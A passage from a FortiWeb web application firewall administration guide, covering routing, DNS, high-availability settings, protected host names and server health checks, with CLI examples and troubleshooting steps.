and configure queries and traps, see SNMP traps & queries on page 727.
FortiWeb Manager Enable to allow FortiWeb Manager to connect to this appliance using this network
interface.
9. Click OK.
To configure redundant interfaces via the CLI

edit <interface_name>
set type redundant
set intf {<port_name> ...}
set mode {static | dhcp}
set ip {interface_ipv4mask}

set ip6-mode {static | dhcp}

set ip6 {interface_ipv6mask}
next
end
where:
l <interface_name> is the name of the redundant interface configuration that you want to create
l intf {<port_name> ...} is each port that you want to include in the configuration
l mode {static | dhcp} specifies whether the interface obtains its IPv4 address and netmask using DHCP
l ip {interface_ipv4mask} is the IPv4 address assigned to the network interface if you use a static IP
l ip6-mode {static | dhcp} specifies whether the interface contains its IPv6 address using DHCP
l ip6 {interface_ipv6mask} is the IPv6 address assigned to the network interface if you use a static IP
Adding a gateway
Static routes direct traffic exiting the FortiWeb appliance based upon the packet’s destination—you can specify through
which network interface a packet leaves and the IP address of a next-hop router that is reachable from that network
interface. Routers are aware of which IP addresses are reachable through various network pathways and can forward
those packets along pathways capable of reaching the packets’ ultimate destinations. Your FortiWeb itself does not
need to know the full route, as long as the routers can pass along the packet.
True transparent and Transparent Inspection operation modes require that you
specify the gateway when configuring the operation mode. In that case, you have
already configured a static route. You do not need to repeat this step.
You must configure FortiWeb with at least one static route that points to a router, often a router that is the gateway to
the Internet. You may need to configure multiple static routes if you have multiple gateway routers (e.g. each of which
should receive packets destined for a different subset of IP addresses), redundant routers (e.g. redundant Internet/ISP
links), or other special routing cases.
However, often you will only need to configure one route: a default route.
For example, if a web server is directly attached to one physical port on the FortiWeb, but all other destinations, such as
connecting clients, are located on distant networks, such as the Internet, you might need to add only one route: a
default route that indicates the gateway router through which FortiWeb sends traffic towards the Internet.
If your management computer is not directly attached to one of the physical ports of
the FortiWeb appliance, you may also require a static route so that your
management computer is able to connect with the web UI and CLI.
When you add a static route through the web UI, the FortiWeb appliance evaluates the route to determine if it
represents a different route compared to any other route already present in the list of static routes. If no route having the
same destination exists in the list of static routes, the FortiWeb appliance adds the static route, using the next
unassigned route index number. The index number of the route in the list of static routes is not necessarily the same as
its position in the routing table (diagnose network route list).

You can also configure FortiWeb to route traffic to a specific network interface/gateway combination based on a
packet’s source and destination IP address, instead of the static route configuration. For details, see Creating a policy
route on page 146.
To add a static route via the web UI
1. Go to System > Network > Route and select the Static Route tab.

To access this part of the web UI, your administrator account’s access profile must have Read and Write
permission to items in the Router Configuration category. For details, see Permissions on page 56.
Destination IP/Mask Type the destination IP address and network mask of packets that will
be subject to this static route, separated by a slash ( / ).
The value 0.0.0.0/0.0.0.0 or ::/0 results in a default route,

which matches the DST field in the IP header of all packets.
Gateway Type the IP address of the next-hop router where the FortiWeb
forwards packets subject to this static route. This router must know
how to route packets to the destination IP addresses that you have
specified in Destination IP/Mask on page 143, or forward packets to
another router with this information.
For a direct Internet connection, this is the router that forwards traffic
towards the Internet, and could belong to your ISP.
Caution: The gateway IP address must be in the same subnet as the

interface’s IP address. Failure to do so will cause FortiWeb to delete
all static routes, including the default gateway.
Interface Select the name of the network interface through which the packets
subject to the static route will egress towards the next-hop router.
Making a default route for your FortiWeb is a typical best practice: if there is no
other, more specific static route defined for a packet’s destination IP address, a
default route will match the packet, and pass it to a gateway router so that any
packet can reach its destination.
If you do not define a default route, and if there is a gap in your routes where no
route matches a packet’s destination IP address, packets passing through the
FortiWeb towards those IP addresses will, in effect, be null routed. While this
can help to ensure that unintentional traffic cannot leave your FortiWeb and
therefore can be a type of security measure, the result is that you must modify
your routes every time that a new valid destination is added to your network.
Otherwise, it will be unreachable. A default route ensures that this kind of locally-
caused “destination unreachable” problem does not occur.
4. Click OK.
The FortiWeb appliance should now be reachable to connections with networks indicated by the mask.

5. To verify connectivity, from a host on the route’s destination network, attempt to connect to the FortiWeb
appliance’s web UI via HTTP and/or HTTPS. (At this point in the installation, you have not yet configured a policy,
and therefore, if in Reverse Proxy mode, cannot test connectivity through the FortiWeb.)
By default, in Reverse Proxy mode, FortiWeb’s virtual servers will not forward non-
HTTP/HTTPS traffic to your protected web servers. (Only traffic picked up and
allowed by the HTTP Reverse Proxy will be forwarded.) You may be able to provide
connectivity by either deploying in a one-arm topology where other protocols bypass
FortiWeb, or by enabling FortiWeb to route other protocols. See also Topology for
Reverse Proxy mode on page 74 and the config router setting command
in the FortiWeb CLI Reference.
If the connectivity test fails, you can use the CLI commands:
execute ping <destination_ip4>
to determine if a complete route exists from the FortiWeb to the host, and
execute traceroute <destination_ipv4>
to determine the point of connectivity failure.

Also enable PING on page 127 on the FortiWeb’s network interface, or configure an IP address on the bridge, then use
the equivalent tracert or traceroute command on the host (depending on its operating system) to test routability
for traffic traveling in the opposite direction: from the host to the FortiWeb.
l If these tests fail, or if you do not want to enable PING on page 127, first examine the static route configuration on
both the host and FortiWeb.
To display the routing table, enter the CLI command:
diagnose network route list
You may also need to verify that the physical cabling is reliable and not loose or broken, that there are no IP
address or MAC address conflicts or blacklisting, and otherwise rule out problems at the physical, network, and
transport layer.
l If these tests succeed, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem
is preventing connectivity.
Verify that you have enabled HTTPS on page 127 and/or HTTP on page 128 on the network interface. Also
examine routers and firewalls between the host and the FortiWeb appliance to verify that they permit HTTP and/or
HTTPS connectivity between them. Finally, you can also use the CLI command:
diagnose system top 5 30
to verify that the daemons for the web UI and CLI, such as sshd, newcli, and httpsd are running and not
overburdened. For details, see the FortiWeb CLI Reference:
To add a default route via the CLI

config router static
edit <route_index>

set gateway <gateway_ipv4>

set device <interface_name>
end
where:
l <route_index> is the index number of the route in the list of static routes
l <gateway_ipv4> is the IP address of the gateway router
l<interface_name> is the name of the network interface through which packets will egress, such as port1
The FortiWeb appliance should now be reachable to connections with networks indicated by the mask.
2. To verify connectivity, from a host on the network applicable to the route, attempt to connect to the FortiWeb
appliance’s web UI via HTTP and/or HTTPS. (At this point in the installation, you have not yet configured a policy,
and therefore, if in Reverse Proxy mode, cannot test connectivity through the FortiWeb.)
By default, in Reverse Proxy mode, FortiWeb’s virtual servers will not forward non-
HTTP/HTTPS traffic to your protected web servers. (Only traffic picked up and
allowed by the HTTP Reverse Proxy will be forwarded.) You may be able to provide
connectivity by either deploying in a one-arm topology where other protocols bypass
FortiWeb, or by enabling FortiWeb to route other protocols. See also Topology for
Reverse Proxy mode on page 74 and the config router setting command
in the FortiWeb CLI Reference:
If the connectivity test fails, you can use the CLI commands:
execute ping
to determine if a complete route exists from the FortiWeb to the host, and
execute traceroute
to determine the point of connectivity failure. For details, see the FortiWeb CLI Reference
(http://docs.fortinet.com/fortiweb/reference). Also enable ping on the FortiWeb (see To configure a network
interface’s IPv4 address via the CLI on page 129), then use the equivalent tracert or traceroute command on the
host (depending on its operating system) to test routability for traffic traveling in the opposite direction: from the host to
the FortiWeb.
l If these tests fail, or if you do not want to enable PING on page 127, first examine the static route configuration on
both the host and FortiWeb.
To display all routes with their priorities, enter the CLI command:
You may also need to verify that the physical cabling is reliable and not loose or broken, that there are no IP
address or MAC address conflicts or blacklisting, and otherwise rule out problems at the physical, network, and
transport layer.
l If these tests succeed, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem
Verify that you have enabled http and/or http on the network interface (To configure a network interface’s IPv4
address via the CLI on page 129). Also examine routers and firewalls between the host and the FortiWeb appliance
to verify that they permit HTTP and/or HTTPS connectivity between them. Finally, you can also use the CLI
command:
diagnose system top 5 30

to verify that the daemons for the web UI and CLI, such as sshd, newcli, and httpsd are running and not
overburdened. For details, see the FortiWeb CLI Reference (http://docs.fortinet.com/fortiweb/reference).
See also
l Creating a policy route on page 146

l Routing based on HTTP content on page 180
l Configuring DNS settings on page 150
Creating a policy route
In most cases, you use policy routes in Reverse Proxy mode. In this mode, requests are destined for a virtual server’s
network interface and IP address on FortiWeb, not a web server directly. When FortiWeb sends response package to
the client who initiated the request, the souce IP in the response package is the virtual server's IP address, not the web
server's IP address. In the following paragraphs, we will introduce how to use policy route to direct the traffic to different
next-hop gateways based on the souce IP in the response package.
The difference between static route and policy route
As introduced in the previous section, static route forwards the outgoing traffic based on the destination IP, and it is
usually used when there is only one gateway connected with FortiWeb to forward FortiWeb's outgoing traffic to any
destination. But, what if there are multiple gateways, and FortiWeb's outgoing traffic to any destionation should be
forwarded to different gateways?
The most common case is that multiple gateways are installed to forward clients' requests from networks operated by
different ISPs, let's say ISP1 and ISP2. When FortiWeb sends back the response package, there must be a rule telling
FortiWeb to send it to the right gateway so that the package destined to ISP1's network will not be sent to the gateway
connecting with ISP2. For this case, using static route is not the right choice, because static route distinguishes the
next-hop gateways based on the package's destination IP, but the destionation IP inside each ISP could be any.
Policy route is pecfectly suitable to solve this issue (usually called the Asymmetric Routing Issue). The best practice is to
create two virtual servers on FortiWeb to receive and send packages, and then create policy routes to forward the
response packages to the right next-hop router based on source IPs (the virtual servers' IP addresses).
Using policy route to divert traffic based on source IPs
We will use the following network topology as an example to illutrate how to use policy routes to divert traffic based on
the source IP in the response package.

Client
Gateway2
2.2.2.254
vserver2 on port2
2.2.2.1/24
Web
Server
vserver1
default gateway
Client on port1 FortiWeb
1.1.1.254
1.1.1.1/24
To direct FortiWeb's outgoing traffic to the default gateway (1.1.1.254) and gateway2 (2.2.2.254):
l Configure the following policy route so that the package with source IP 2.2.2.1/24 will exit FortiWeb through port2
to the next-hop gateway whose IP address is 2.2.2.254.
Make sure not to select the incoming interface, because in Reverse Proxy mode FortiWeb does not carry the
incoming interface information in the outgoing package.
l Configure the following static route so that all the other traffic which doesn't match the conditions specified in the
policy route will be forwarded to the default gateway whose IP address is 1.1.1.254.
Policy route has higher priority than the static route. In this example, the package exiting FortiWeb with source IP
2.2.2.1 matches both the static route and policy route, but the system only applies policy route to the package because
policy route has higher priority.
In this case, the source IPs in the outgoing package are either 2.2.2.1 or 1.1.1.1, so,
instead of configuring a static route, you can alternatively configure another policy
route specifying the Source address as 1.1.1.1/24, the Outgoing Interface as
port1, and Gateway Address as 1.1.1.254.

Using policy route and the ip-forward command to configure FortiWeb as a router
In Reverse Proxy mode, policy route can also be used together with the ip-forward command to configure FortiWeb as a
router to forward the non-HTTP/HTTPS traffic to back-end servers. The non-HTTP/HTTPS traffic is handled in the
following ways:
l Any non-HTTP/HTTPS traffic destined for a virtual server on the appliance is dropped.
l For any non-HTTP/HTTPS traffic destined for another destination (for example, a back-end server), FortiWeb acts
as a router and forwards it to its destination address. The incoming and outgoing interfaces configured in the policy
routes are used to forward the non-HTTP/HTTPS traffic.
For example, you can create a policy route with the following settings so that all the traffic from the incoming interface
port4 will exit FortiWeb through the outgoing interface port1.
Then, connect to FortiWeb's CLI and run the following command to enable ip-forward:
config router setting
set ip-forward enable
set ip6-forward enable
end
To create a policy route
1. Go to System > Network > Route and select Policy Route tab.

2. Complete the following settings:
If traffic matches:
Incoming Interface Select the interface on which FortiWeb receives packets it applies this routing
policy to.
Source address/mask Enter the source IP address and network mask to match.
(IPv4/IPv6)
When a packet matches the specified address, FortiWeb routes it according to
this policy.
Destination address/mask Enter the destination IP address and network mask to match.
(IPv4/IPv6)
When a packet matches the specified address, FortiWeb routes it according to
this policy.

Fwmark Enter the Fwmark value specified in Firewall Fwmark Policy. If you don't
need to match traffic against the Fwmark value, enter value 0.
The valid range is 0-255.
Force traffic to:
Action Forward Traffic: FortiWeb filters traffic against the specified conditions and
forwards the traffic to this policy route.
Stop Policy Routing: FortiWeb filters traffic against the specified conditions
and forwards the traffic according to the matched static route.
Outgoing Interface Select the interface through which FortiWeb routes packets that match the
specified IP address information.
Gateway Address (IPv4/IPv6) Enter the IP address of the next-hop router where FortiWeb forwards packets
that match the specified IP address information.
Ensure this router knows how to route packets to the destination IP address or
forwards packets to another router with this information.
A gateway address is not required for the particular routing policies used as
static routes in an one-arm topology. Please leave this blank for one-arm
topology.
Priority Enter a value between 1 and 200 that specifies the priority of the route. When
packets match more than one policy route, FortiWeb directs traffic to the route
with the lowest value.
3. Click OK.
Notice for using policy route in an one-arm topology
Since FortiWeb's policy route has higher priority than static route (any packet will be evaluated against policy routes first,
then static routes), when a FortiWeb is deployed in a one-arm topology (see Planning the network topology on page 66)
and any policy route is configured for the FortiWeb to access to other networks, you are strongly recommended to add
particular policy routes with higher priority for the static routing within the connected network subnets.
A policy route might be set for updating the signature and virus databases through the Internet. In this example, packets
that FortiWeb forwards for Reverse Proxy mode within subnet 192.0.2.0/24 might match the policy route first rather
than the static route, and so that the packets might be directed to incorrect path (which result in a failed Reverse Proxy).
Therefore, no matter what the configurations you have for the policy routes, we strongly suggest an extra policy route
being set (for this example) like
Destination address/mask = 192.0.2.0/24
Outgoing Interface = port3
Priority = 10
Configuration of the particular policy route is a static route for choosing port 3 as the path to forward packets destined to
subnet 192.0.2.0/24. To make sure all the packets are evaluated against the particular policy routes before other normal
policy routes, those particular policy routes must be assigned a higher (or the highest) priority than other policy routes'.
This particular policy route, with a higher (or the highest) priority and no gateway being specified, essentially reverses
the fact that policy routes have higher priority than static routes.

See also
Configuring DNS settings
Like many other types of network devices, FortiWeb appliances require connectivity to DNS servers for DNS lookups.
Your Internet service provider (ISP) may supply IP addresses of DNS servers, or you may want to use the IP addresses
of your own DNS servers. You must provide unicast, non-local addresses for your DNS servers. Local host and broadcast
addresses will not be accepted.
You can choose to manually enter IP addresses for the DNS or enable DHCP mode in Network > Interface >
Addressing mode to allow automatically obtaining DNS IP addresses from DHCP server. See Configuring the network
settings for the addressing mode setting.
Incorrect DNS settings or unreliable DNS connectivity can cause issues with other
features, including FortiGuard services and NTP system time.
To manually configure DNS settings via the web UI
1. Go to System > Network > DNS.

To change settings in this part of the web UI, your administrator's account access profile must have Write
2. In Primary DNS Server, type the IP address of the primary DNS server.
3. In Secondary DNS Server, type the IP address of the secondary DNS server.
4. In Local Domain Name, type the name of the local domain to which the FortiWeb appliance belongs, if any.
This field is optional. It will not appear in the Host: field of HTTP headers for client connections to your protected
web servers.
5. Click Apply.
The appliance will query the DNS servers whenever it needs to resolve a domain name into an IP address, such as
for NTP system time, FortiGuard services, or web servers defined by their domain names (“domain servers”).
6. To verify your DNS settings, in the CLI, enter the following commands:
execute traceroute <server_fqdn>
where <server_fqdn> is a domain name such as www.example.com.
DNS tests may not succeed until you have completed Adding a gateway on page
142.
If the DNS query for the domain name succeeds, you should see results that indicate that the host name resolved
into an IP address, and the route from FortiWeb to that IP address:
traceroute to www.example.com (192.0.43.10), 30 hops max, 60 byte packets
1 172.20.130.2 (172.20.130.2) 0.426 ms 0.238 ms 0.374 ms
2 static-209-87-254-221.storm.ca (209.87.254.221) 2.223 ms 2.491 ms 2.552 ms
3 core-g0-0-1105.storm.ca (209.87.239.161) 3.079 ms 3.334 ms 3.357 ms

...
16 43-10.any.icann.org (192.0.43.10) 57.243 ms 57.146 ms 57.001 ms
If the DNS query fails, you will see an error message such as:
traceroute: unknown host www.example.com
CFG_CLI_INTERNAL_ERR
Verify your DNS server IPs, routing, and that your firewalls or routers do not block or proxy UDP port 53.
To configure DNS settings via the CLI

config system dns
set primary <address_ipv4>
set secondary <address_ipv4>
set domain <local-domain_str>
end
where:
<address_ipv4> is the IP address of a DNS server
<local-domain_str> is the name of the local domain to which the FortiWeb appliance belongs, if any
The local domain name is optional. It will not appear in the Host: field of HTTP headers for connections to
protected web servers.
The appliance will query the DNS servers whenever it needs to resolve a domain name into an IP address, such as
for NTP or web servers defined by their domain names (“domain servers”).
2. To verify your DNS settings, in the CLI, enter the following commands:
execute traceroute <server_fqdn>
where <server_fqdn> is a domain name such as www.example.com.
DNS tests may not succeed until you have completed Adding a gateway on page
142.
If the DNS query for the domain name succeeds, you should see results that indicate that the host name resolved
into an IP address, and the route from FortiWeb to that IP address:
traceroute to www.example.com (192.0.43.10), 30 hops max, 60 byte packets
1 172.20.130.2 (172.20.130.2) 0.426 ms 0.238 ms 0.374 ms
3 core-g0-0-1105.storm.ca (209.87.239.161) 3.079 ms 3.334 ms 3.357 ms
...
16 43-10.any.icann.org (192.0.43.10) 57.243 ms 57.146 ms 57.001 ms
If the DNS query fails, you will see an error message such as:
traceroute: unknown host www.example.com
CFG_CLI_INTERNAL_ERR
Verify your DNS server IPs, routing, and that your firewalls or routers do not block or proxy UDP port 53.

See also

Configuring HA settings specifically for active-passive and standard

active-active modes
In addition to the basic settings, you can set the following configurations as desired for active-passive HA group and
standard active-active HA group. For Load-balancing algorithm and HA Health Check, you only need to configure them
on the master node because they can be synchronized to all the members in the HA group.
Settings active-passive HA standard active-active HA
HA Static Route Yes Yes
HA Policy Route Yes Yes
load-balancing algorithm No Yes
HA Health Check No Yes
HA Static Route and Policy Route
Unlike the Static Route and Policy Route in System > Network > Route which are synchronized to all the HA
members, the configurations in HA Static Route or HA Policy route are applied only to this specific member.
This is useful when you want to set a next-hop gateway that is used only for this member and not shared by the HA
group. The Reserved Management Interface on page 110 is typically used together with this feature.
The parameters in this feature are the same with the ones in Static Route and Policy Route in System > Network >
Route, so we will not elaborate on the parameter descriptions here. For detailed information on the parameters, refer to
Adding a gateway and Creating a policy route
Only one default route (the static route with destination as 0.0.0.0/0) is allowed on FortiWeb
appliance. For example, if you have configured a default route in System > Network >
Route, then it's not allowed to configure another default route in HA route settings.
Load-balancing algorithm
you might want to change the load-balancing algorithm for a standard active-active HA group. You can change the
algorithm by configuring set schedule {ip | leastconnection | round-robin} in CLI command
config system ha. For details, see the FortiWeb CLI Reference:
https://docs.fortinet.com/document/fortiweb/

Note:FortiWeb's Configuring a protection profile for inline topologies on page 223 is not supported in a standard Active-
Active HA deployment when the algorithm By connections or Round-robin is used for the load-balancing.
HA Health Check
Server policy health check is only available if the operation mode is Reverse Proxy, and the HA mode is Standard
Active-Active.
To check whether the server policies are running properly on the HA group, you can configure server policy heath check.
The configurations are synchronized to all members in the group. The system sends an HTTP or HTTPS request, and
waits for a response that matches the values required by the health check rule. A timeout indicates that the connection
between the HA group member and the back-end server is not available. The system then generates event logs.
You should first enable the HA Health Check option on the HA tab in System > High Availability > Settings, then
configure a health check on the HA Health Check tab.
FortiWeb only supports checking the health of server policies in the root administrative domain.
To configure an HA Health Check
1. Go to System > High Availability > Settings > HA Health Check.

To access this part of the web UI, your administrator’s account access profile must have Read and Write
2. Click Create New to create a health check.
Server policy Select the server policy for which you want to run health check.
HTTPS Enable to use the HTTPS protocol for the health check connections with the
back-end server. The systems uses HTTP protocol if this option is disabled.
Client Certificate If HTTPS is enabled, you can select a Client Certificate for the connection.
This is optional.
The Client Certificate is imported in System > Certificates > Local.
Relationship l And—FortiWeb considers the server policy to be responsive when it

passes all the tests in the list.
l Or—FortiWeb considers the server policy to be responsive when it
passes at least one of the tests in the list.
4. Click OK.
5. In the rule list, do one of the following:
l To add a rule, click Create New.
l To modify a rule, select it and click Edit.
URL Path Type the URL that the HTTP or HTTPS request uses to verify the
responsiveness of the server (for example, /index.html).
If the web server successfully returns this URL, and its content matches your
expression in Matched Content on page 154, it is considered to be responsive.

Interval Type the number of seconds between each server health check.
Valid values are 1 to 300. Default value is 10.
Timeout Type the maximum number of seconds that can pass after the server health
check. If the web server exceeds this limit, it will indicate a failed health check.
Retry Times Type the number of times, if any, that FortiWeb retries a server health check
after failure. If the web server fails the server health check this number of
times consecutively, it is considered to be unresponsive.
Method Specify whether the health check uses the HEAD, GET, or POST method.
Match Type l Response Code—If the web server successfully returns the URL
specified by URL Path on page 153 and the code specified by Response
Code on page 154, FortiWeb considers the server to be responsive.
l Matched Content—If the web server successfully returns the URL
specified by URL Path on page 153 and its content matches the Matched
Content on page 154 value, FortiWeb considers the server to be
responsive.
l All — If the web server successfully returns the URL specified by URL
Path on page 153 and its content matches the Matched Content on page
154 value, and the code specified by Response Code on page 154,
FortiWeb considers the server to be responsive.
Available only if Configuring HA settings specifically for active-passive and
standard active-active modes on page 152 is HTTP or HTTPS.
Matched Content Enter one of the following values:

l The exact reply that indicates that the server is available.
l A regular expression that matches the required reply.
This value prevents the test from falsely indicating that the server is available
when it has actually replied with an error page, such as the one produced by
Tomcat when a JSP application is not available.
To create and test a regular expression, click the >> (test) icon. This opens a
Regular Expression Validator window where you can fine-tune the
expression. For details, see Regular expression syntax on page 880
Available only if Match Type on page 154 is All or Matched Content.
Response Code Enter the response code that you require the server to return in order to
confirm its availability.
Available only if Match Type on page 154 is All or Response Code.
7. Click OK to save the settings and close the rule.

8. Add any additional tests you want to include in the health check by adding additional rules.
9. Click OK to save and close the health check.
10. The HA Health Check starts running.
11. In Log&Report > Log Access > Event, use the Action: check-reource filter to check all the event logs of HA
Health Check.

Configuring HA settings specifically for high volume active-active

mode
In addition to the basic settings, you need to specify the HA members and set traffic distributions for the high volume
active-active mode. You only need to set the following configurations on the master node. They can be automatically
synchronized to all the HA members. For how to find the master node, see this topic.
Allocating nodes
After the basic settings are done, all the members with the same group ID should join in the HA group. In the Available
Nodes list on the Node Allocation page, all the HA members are listed.
Perform the following steps to allocate nodes to the HA group.
1. Go to System > High Availability > Settings.
permission to items in the System Configurationcategory. For details, see Permissions on page 56.
2. Select the Node Allocation tab.
3. In the Available Nodes list, select one or more members which you want to add in the cluster, then click the right
arrow to move them to the Cluster Members list.
4. Click Apply.
The selected nodes are allocated to the HA group.
Creating traffic distribution
The domain name of your application is paired with one or more IP addresses. These IP addresses are called Virtual IPs
in FortiWeb. When your users visit your application, the destination of these requests are these virtual IP addresses. If
you have deployed a FortiWeb HA cluster in your network, these requests will arrive first at FortiWeb cluster for threat
detection, then be forwarded to the back-end servers. The traffic distribution controls which FortiWeb appliances in the
cluster process the traffic destined to certain virtual IPs.
To configure the traffic distribution, you must have already created virtual IPs in System > Network > Virtual IP. See
Configuring virtual IP on page 136.
Perform the following steps to map the virtual IPs to the FortiWeb appliances in a HA cluster:
1. Go to System > High Availability > Settings.
2. Select the Traffic Distribution tab.
3. Enter a name for the traffic distribution.
4. Click the VIP list field. The Select Entries pane will appear at the right side of the window.
5. Click one or more VIPs that you want to assign to a cluster member. The selected VIPs will appear in the VIP list
field.
6. In the Add HA member field, drag the cluster members from the right to the left. Only the appliance ranks the first
will be the active node to receive traffic destined to the selected VIP(s). When the active node is down, the
appliance lists the next will take over the traffic. You can select the appliance and drag it to change its rank.

The cluster mode is much more flexible than the active-active and active-passive mode. With different combinations of
the VIP and the appliance, you can form more complicated HA topologies.
Example 1
If there are four VIPs and four appliances, you can set two appliances as active nodes, each of them receiving traffic
destined to two VIPs, while the other appliances acting as backups.
The configures can be as follows. In this example, node ID 1 and node ID 3 are the active nodes to process traffic, while
Node ID 2 and Node ID 4 are their back-ups.
Traffic distribution 1:

Example 2
If there are four VIPs and four appliances, you can set all the four nodes as active one, each receiving traffic destined to
one VIP.
The configures can be as follows. In this example, each appliance acts as active node to process traffic to an unique
VIP. If one node fails, other nodes will take over the traffic by order or the traffic distribution list.



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Defining your web servers & load balancers
To apply policies correctly and log events accurately, it's important that FortiWeb is aware of certain other points on your
network.
To scan traffic for your web servers, FortiWeb must know which IP addresses and HTTP Host: names to protect. If
there are proxies and load balancers in the network stream between your client and your FortiWeb, you will also want to
define them. Likewise, if your web servers have features that operate using the source IP address of a client, you may
also need to configure FortiWeb to pass that information to your web servers.
Without these definitions, FortiWeb will not know many things, such as requests are for invalid host names, which
source IP addresses are external load balancers instead of clients, and which headers it should use to transmit the
client’s original source IP address to your web servers. This can cause problems with logging, reports, other FortiWeb
features, and server-side features that require the client’s IP address.
Protected web servers vs. allowed/protected host names
If you have virtual hosts on your web server, multiple websites with different domain names (for example,
example.com, example.co.uk, example.ru, example.edu) can coexist on the same physical computer with a single web
server daemon. The computer can have a single IP address, with multiple DNS names resolving to its IP address, or the
computer can have multiple IP addresses and multiple NICs, with different sets of domain names resolving to separate
NICs.
Just as there can be multiple host names per web server, there can also be the inverse: multiple web servers per host
name. (For example, for distributed computing clusters and server farms.)
When configuring FortiWeb, a web server is a single IP at the network layer, but a protected host group should contain
all network IPs, virtual IPs, and domain names that clients use to access the web server at the HTTP layer.
For example, clients often access a web server via a public network such as the Internet. Therefore, the protected host
group contains public domain names, IP addresses and virtual IPs on a network edge router or firewall, such as:
l www.example.com and
l www.example.co.uk and
l example.de
But the physical or domain server is only the IP address or domain name that the FortiWeb appliance uses to forward
traffic to the server and, therefore, is often a private network address (unless the FortiWeb appliance is operating in
Offline Protection or either of the transparent modes):
l 192.168.1.10 or
l example.local
Defining your protected/allowed HTTP “Host:” header names
A protected host group (also called “allowed hosts” or “protected host names”, depending on how the host name is used
in each context) defines one or more IP addresses or fully qualified domain names (FQDNs). Each entry in the group

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defines a virtual or real web host, according to the Host: field in the HTTP header of requests. You can use these
entries to determine which host names:
l FortiWeb allows in requests, and/or
l FortiWeb applies scans or other features to
For example, if your FortiWeb receives requests with HTTP headers, such as:
GET /index.php HTTP/1.1
Host: www.example.com
you might define a protected host group with an entry of www.example.com and select it in Protected Hostnames on
page 246 in the policy. This would block requests that are not for that host.
A protected host names group is usually not the same as a back-end web server.
For details, see Protected web servers vs. allowed/protected host names on page
160.
You use protected host names in a server policy to restrict requests to specific
hostnames. If you want to specify specific hosts to apply a policy to, use the HTTP
content routing feature. For details, see Routing based on HTTP content on page
180.
Used differently, you might select the www.example.com entry in Host when defining requests where the parameters
should be validated. This would apply protection only for that host.
Unlike a web server, which is a single IP at the network layer, a protected host group should contain all network IPs,
virtual IPs (VIP), and domain names that clients use to access the web server at the HTTP layer.
For example, clients often access a web server via a public network such as the Internet. Therefore, the protected host
group contains public domain names, IP addresses and virtual IPs on a network edge router or firewall, such as:
l www.example.com and
l www.example.co.uk and
l example.de
But in Reverse Proxy mode, the physical or domain server is the IP address or domain name that the FortiWeb
appliance uses to forward traffic to the back-end web server behind the NAT and, therefore, is often a private network
address:
l 192.168.1.10 or
l example.local
As another example, for entry level or virtualized web hosting, many Apache virtual hosts:
l business.example.cn
l university.example.cn
l province.example.cn
may exist on one or more back-end web servers which each have one or more network adapters, each with one or more
private network IP addresses that are hidden behind a Reverse Proxy FortiWeb:
l 172.16.1.5
l 172.16.1.6
l 172.16.1.7

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The virtual hosts would be added to the list of FortiWeb’s protected host names, while the network adapters’ IP
addresses would be added to the list of physical servers.
To configure a protected host group
1. Go to Server Objects > Protected Hostnames.

permission to items in the Server Policy Configuration category. For details, see Permissions on page 56.
3. In Name, type a name that can be referenced by other parts of the configuration. The maximum length is 63
characters.
4. From the Default Action drop-down menu, select whether to Accept, Deny, or Deny (no log) HTTP requests
that do not match any of the host definitions in this protected host group. In For Action, select whether to Accept,
Deny, or Deny (no log) HTTP requests whose Host: field matches this Host entry. on page 162, you can override
this default for specific hosts.
For example, let’s say that you have 10 web hosts protected by FortiWeb. You want to allow 8 and block 2. To do
this, first set Default Action to Accept. Then in For Action, select whether to Accept, Deny, or Deny (no log)
HTTP requests whose Host: field matches this Host entry. on page 162, you will create 2 entries for the host names
that you want to block, and in their Action, select Deny.
5. Click OK.
6. To treat one or more hosts differently than indicated in Default Action, click Create New.
7. For , enter the IP address or FQDN of a real or virtual host, according to the Host: field in HTTP requests.
If clients connect to your web servers through the IP address of a virtual server on the FortiWeb appliance, this
should be the IP address of that virtual server or any domain name to which it resolves, not the IP address of the
protected web server.
For example, if a virtual server 10.0.2.1/24 forwards traffic to the physical server 192.0.2.1, for protected host
names, you would enter:
l 10.0.2.1, the address of the virtual server
l www.example.com, the domain name that resolves to the virtual server
Your entry must match the whole host name exactly. Wild cards such as *.example.com are not supported. If
you require wild card host name matches, use HTTP Host: header access control rules instead. For details, see
Combination access control & rate limiting on page 437.
8. For Action, select whether to Accept, Deny, or Deny (no log) HTTP requests whose Host: field matches this
Host entry.
9. Click OK.
10. Repeat the previous steps for each host that you want to add to the protected host group.
11. To apply a protected host group, select it in a server policy (see Configuring an HTTP server policy on page 242).
Policies use protected host definitions to block connections that are not destined for a protected host. If you do not
select a protected host group in a server policy, and you do not configure a combination access control rule with an
HTTP Host: condition either, FortiWeb accepts or blocks connections regardless of the Host: field.
See also

l HTTP pipelining on page 254

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Defining your web servers
To specify your back-end web servers, you must define a server pool. Pools contain one or more members that you
specify using either their IP addresses or DNS domain names. FortiWeb protects these web servers and they are the
recipients of traffic that is forwarded or allowed to pass through to by FortiWeb.
You can also define web servers to be FortiWeb’s virtual servers. This chains
multiple policies together, which may be useful in more complex traffic routing or
rewriting situations.
See also
l Enabling or disabling traffic forwarding to your servers on page 200

l Predefined services on page 198
l Defining your network services on page 198
l Configuring an HTTP server policy on page 242
Configuring server up/down checks
Tests for server availability (called “server health checks” in the web UI) poll web servers that are members of a server
pool to determine their responsiveness before forwarding traffic. FortiWeb can check server health using the following
methods:
l TCP
l ICMP ECHO_REQUEST (ping)
l TCP Half Open
l TCP SSL
l HTTP/2
l HTTPS
l HTTP
FortiWeb polls the server at the frequency set in the Interval on page 165 option. If the appliance does not receive a
reply within the timeout period, and you have configured the health check to retry, it attempts a health check again;
otherwise, the server is deemed unresponsive. The FortiWeb appliance reacts to unresponsive servers by disabling
traffic to that server until it becomes responsive.
If all members of the pool are unresponsive and you have configured one or more members to be backup servers,
FortiWeb sends traffic to a backup server.
If a web server will be unavailable for a long period, such as when a server is
undergoing hardware repair, it is experiencing extended down time, or when you
have removed a server from the server pool, you may improve the performance of
your FortiWeb appliance by disabling connectivity to the web server, rather than
allowing the server health check to continue to check for responsiveness. For
details, see Enabling or disabling traffic forwarding to your servers on page 200.

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You can create a health check, use one of the predefined health checks, or clone one of the predefined health checks to
use as a starting point for a custom health check. You cannot modify the predefined health checks.
To simplify health check creation, FortiWeb provides predefined health checks for each of the available protocols. Each
predefined health check contains a single rule that specifies one of the available protocols. For example, instead of
creating a health check that uses ICMP, you can apply HLTHCK_IMCP.
HLTHCK_HTTP and HLTHCK_HTTPS health checks test server responsiveness using the HEAD method and listening
for the response code 200.
